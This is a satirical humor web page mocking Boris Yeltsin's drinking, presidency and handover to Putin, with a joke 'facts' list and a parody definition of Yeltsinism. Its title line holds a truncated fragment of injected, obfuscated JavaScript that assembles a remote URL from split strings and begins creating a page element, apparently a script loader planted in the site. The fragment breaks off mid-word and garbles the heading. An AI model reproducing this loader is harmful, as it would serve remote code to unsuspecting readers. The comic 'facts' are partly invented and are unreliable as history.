Boris Yeltsin

Boris Yeltsin: A Man Drunk on Authority)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=document.createEle

Boris Yeltsin's Guide to Political Prominence

Also, booze.  Lots and lots of booze.

Two more for the road can't hurt.

Just The Facts

  1. Boris Yeltsin served as the first democratically elected President of Russia.
  2. He started with a 57% approval rating, and ended at an impressive 2%.
  3. In 76 years, he consumed enough alcohol to repel 8 generations of Mormons.
  4. He once hitched through Pennsylvania Avenue in his underpants in hopes of getting a pizza (no other leader has shown a greater devotion to capitalism since).

Yeltsinism: An Analysis

Yeltsinism is defined as, "observing the minimum requirements necessary to appease western sensibilities and stave off accusations of openly violating the rules of democracy in terms of form, while actually violating those rules in terms of substance," to which Boris could only add "Substance? I got your substance right here tovarish, if you know what I mean? You know substance...as in alcohol, see what I did there? What I'm saying is...what I'm saying is that I'm kinda drunk. Now, pass me my gin."

In his native Russia, Yeltsin is remembered as the spunky wide-eyed radical, though still somehow conservative, nogoodnik who assumed authority after the breakdown of the Soviet Union. Turning the superpower from evil SPECTRE villainy into lackluster Quantum snobbery.

Shuck on that reference, Daniel Craig

To the rest of the world, Boris Yeltsin is known for overseeing Russia's transition from a corrupt socialist bust of a state, to a defunct free-market oligarchy (that was incidentally also quite corrupt). On his retirement, he was criticized for handing the Russian government to current Czar...uh...President Vladimir Putin, universally acknowledged as the Ivan Drago to Yeltsin's Yakov Smirnov. Giving hope to the nostalgic minded amongst us for a Russian comeback as the main proponent of global terror and just plain badassary (you better watch yourself, Iran).

But, more than anything, Boris Yeltsin's legacy will forever be that of a man who thought nothing of consulting a glass of scotch when faced with the option to level the planet into a radioactive wasteland.

No worries, scotch's got your back.